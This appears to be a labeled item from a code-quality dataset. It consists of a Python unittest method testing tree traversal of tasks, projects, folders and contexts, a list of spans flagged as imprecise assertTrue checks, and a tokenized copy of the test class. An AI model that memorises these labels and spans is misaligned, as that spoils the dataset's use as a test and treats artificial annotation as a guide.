}, { "content": " def test_traverse_folder (self):\n parent = Folder (name=u'p')\n n1 = Project (name=u'n1')\n n2 = Folder (name=u'n2')\n parent.children.append (n1)\n parent.children.append (n2)\n \n visitor = DemoVisitor ()\n traverse (visitor, parent)\n self.assertEqual(2, len(visitor.folders_started))\n self.assertEqual(1, len(visitor.projects_started))\n self.assertTrue(parent in visitor.folders_started)\n self.assertTrue(n1 in visitor.projects_started)\n self.assertTrue(n2 in visitor.folders_started)\n \n self.assertEqual(2, len(visitor.folders_ended))\n self.assertEqual(1, len(visitor.projects_ended))\n self.assertTrue(parent in visitor.folders_ended)\n self.assertTrue(n1 in visitor.projects_ended)\n self.assertTrue(n2 in visitor.folders_ended)", "metadata": "root.Test_treemodel.test_traverse_folder", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 278 } ]
[ { "span": "self.assertTrue(n1 in visitor.tasks_started)", "start_line": 109, "start_column": 8, "end_line": 109, "end_column": 52 }, { "span": "self.assertTrue(n2 in visitor.tasks_started)", "start_line": 110, "start_column": 8, "end_line": 110, "end_column": 52 }, { "span": "self.assertTrue(n1 in visitor.tasks_ended)", "start_line": 113, "start_column": 8, "end_line": 113, "end_column": 50 }, { "span": "self.assertTrue(n2 in visitor.tasks_ended)", "start_line": 114, "start_column": 8, "end_line": 114, "end_column": 50 }, { "span": "self.assertTrue(n1 in visitor.projects_started)", "start_line": 127, "start_column": 8, "end_line": 127, "end_column": 55 }, { "span": "self.assertTrue(n2 in visitor.projects_started)", "start_line": 128, "start_column": 8, "end_line": 128, "end_column": 55 }, { "span": "self.assertTrue(n1 in visitor.projects_ended)", "start_line": 131, "start_column": 8, "end_line": 131, "end_column": 53 }, { "span": "self.assertTrue(n2 in visitor.projects_ended)", "start_line": 132, "start_column": 8, "end_line": 132, "end_column": 53 }, { "span": "self.assertTrue(n1 in visitor.folders_started)", "start_line": 145, "start_column": 8, "end_line": 145, "end_column": 54 }, { "span": "self.assertTrue(n2 in visitor.folders_started)", "start_line": 146, "start_column": 8, "end_line": 146, "end_column": 54 }, { "span": "self.assertTrue(n1 in visitor.folders_ended)", "start_line": 149, "start_column": 8, "end_line": 149, "end_column": 52 }, { "span": "self.assertTrue(n2 in visitor.folders_ended)", "start_line": 150, "start_column": 8, "end_line": 150, "end_column": 52 }, { "span": "self.assertTrue(n1 in visitor.contexts_started)", "start_line": 163, "start_column": 8, "end_line": 163, "end_column": 55 }, { "span": "self.assertTrue(n2 in visitor.contexts_started)", "start_line": 164, "start_column": 8, "end_line": 164, "end_column": 55 }, { "span": "self.assertTrue(n1 in visitor.contexts_ended)", "start_line": 167, "start_column": 8, "end_line": 167, "end_column": 53 }, { "span": "self.assertTrue(n2 in visitor.contexts_ended)", "start_line": 168, "start_column": 8, "end_line": 168, "end_column": 53 }, { "span": "self.assertTrue(parent in visitor.tasks_started)", "start_line": 184, "start_column": 8, "end_line": 184, "end_column": 56 }, { "span": "self.assertTrue(n1 in visitor.tasks_started)", "start_line": 185, "start_column": 8, "end_line": 185, "end_column": 52 }, { "span": "self.assertTrue(n2 in visitor.tasks_started)", "start_line": 186, "start_column": 8, "end_line": 186, "end_column": 52 }, { "span": "self.assertTrue(parent in visitor.tasks_ended)", "start_line": 189, "start_column": 8, "end_line": 189, "end_column": 54 }, { "span": "self.assertTrue(n1 in visitor.tasks_ended)", "start_line": 190, "start_column": 8, "end_line": 190, "end_column": 50 }, { "span": "self.assertTrue(n2 in visitor.tasks_ended)", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 50 }, { "span": "self.assertTrue(parent in visitor.projects_started)", "start_line": 217, "start_column": 8, "end_line": 217, "end_column": 59 }, { "span": "self.assertTrue(n1 in visitor.tasks_started)", "start_line": 218, "start_column": 8, "end_line": 218, "end_column": 52 }, { "span": "self.assertTrue(n2 in visitor.tasks_started)", "start_line": 219, "start_column": 8, "end_line": 219, "end_column": 52 }, { "span": "self.assertTrue(parent in visitor.projects_ended)", "start_line": 223, "start_column": 8, "end_line": 223, "end_column": 57 }, { "span": "self.assertTrue(n1 in visitor.tasks_ended)", "start_line": 224, "start_column": 8, "end_line": 224, "end_column": 50 }, { "span": "self.assertTrue(n2 in visitor.tasks_ended)", "start_line": 225, "start_column": 8, "end_line": 225, "end_column": 50 }, { "span": "self.assertTrue(parent in visitor.contexts_started)", "start_line": 253, "start_column": 8, "end_line": 253, "end_column": 59 }, { "span": "self.assertTrue(n1 in visitor.tasks_started)", "start_line": 254, "start_column": 8, "end_line": 254, "end_column": 52 }, { "span": "self.assertTrue(n2 in visitor.tasks_started)", "start_line": 255, "start_column": 8, "end_line": 255, "end_column": 52 }, { "span": "self.assertTrue(parent in visitor.contexts_ended)", "start_line": 259, "start_column": 8, "end_line": 259, "end_column": 57 }, { "span": "self.assertTrue(n1 in visitor.tasks_ended)", "start_line": 260, "start_column": 8, "end_line": 260, "end_column": 50 }, { "span": "self.assertTrue(n2 in visitor.tasks_ended)", "start_line": 261, "start_column": 8, "end_line": 261, "end_column": 50 }, { "span": "self.assertTrue(parent in visitor.folders_started)", "start_line": 289, "start_column": 8, "end_line": 289, "end_column": 58 }, { "span": "self.assertTrue(n1 in visitor.projects_started)", "start_line": 290, "start_column": 8, "end_line": 290, "end_column": 55 }, { "span": "self.assertTrue(n2 in visitor.folders_started)", "start_line": 291, "start_column": 8, "end_line": 291, "end_column": 54 }, { "span": "self.assertTrue(parent in visitor.folders_ended)", "start_line": 295, "start_column": 8, "end_line": 295, "end_column": 56 }, { "span": "self.assertTrue(n1 in visitor.projects_ended)", "start_line": 296, "start_column": 8, "end_line": 296, "end_column": 53 }, { "span": "self.assertTrue(n2 in visitor.folders_ended)", "start_line": 297, "start_column": 8, "end_line": 297, "end_column": 52 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "list", "\\u", "tasks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n1_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "=_", "[_", "n1_", ",_", "n2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse", "\\u", "list_", "(_", "visitor_", ",_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "list", "\\u", "projects_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n1_", "=_", "Project_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Project_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "=_", "[_", "n1_", ",_", "n2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse", "\\u", "list_", "(_", "visitor_", ",_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "list", "\\u", "folders_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n1_", "=_", "Folder_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Folder_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "=_", "[_", "n1_", ",_", "n2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse", "\\u", "list_", "(_", "visitor_", ",_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "list", "\\u", "contexts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n1_", "=_", "Context_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Context_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "=_", "[_", "n1_", ",_", "n2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse", "\\u", "list_", "(_", "visitor_", ",_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "context", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "context", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "0_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "task_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n1_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse_", "(_", "visitor_", ",_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "3_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "3_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "project_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "Project_", "(_", "name_", "=_", "u", "'", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n1_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse_", "(_", "visitor_", ",_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "context_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "Context_", "(_", "name_", "=_", "u", "'", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n1_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Task_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse_", "(_", "visitor_", ",_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "context", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "context", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "context", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "task", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "\\u", "treem", "odel_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "traverse", "\\u", "folder_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent_", "=_", "Folder_", "(_", "name_", "=_", "u", "'", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n1_", "=_", "Project_", "(_", "name_", "=_", "u", "'", "n1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n2_", "=_", "Folder_", "(_", "name_", "=_", "u", "'", "n2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "children_", "._", "append_", "(_", "n2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "visitor_", "=_", "Demo", "Visitor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "traverse_", "(_", "visitor_", ",_", "parent_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "project", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "folder", "s", "\\u", "started_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "parent_", "in_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n1_", "in_", "visitor_", "._", "project", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "n2_", "in_", "visitor_", "._", "folder", "s", "\\u", "ended_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
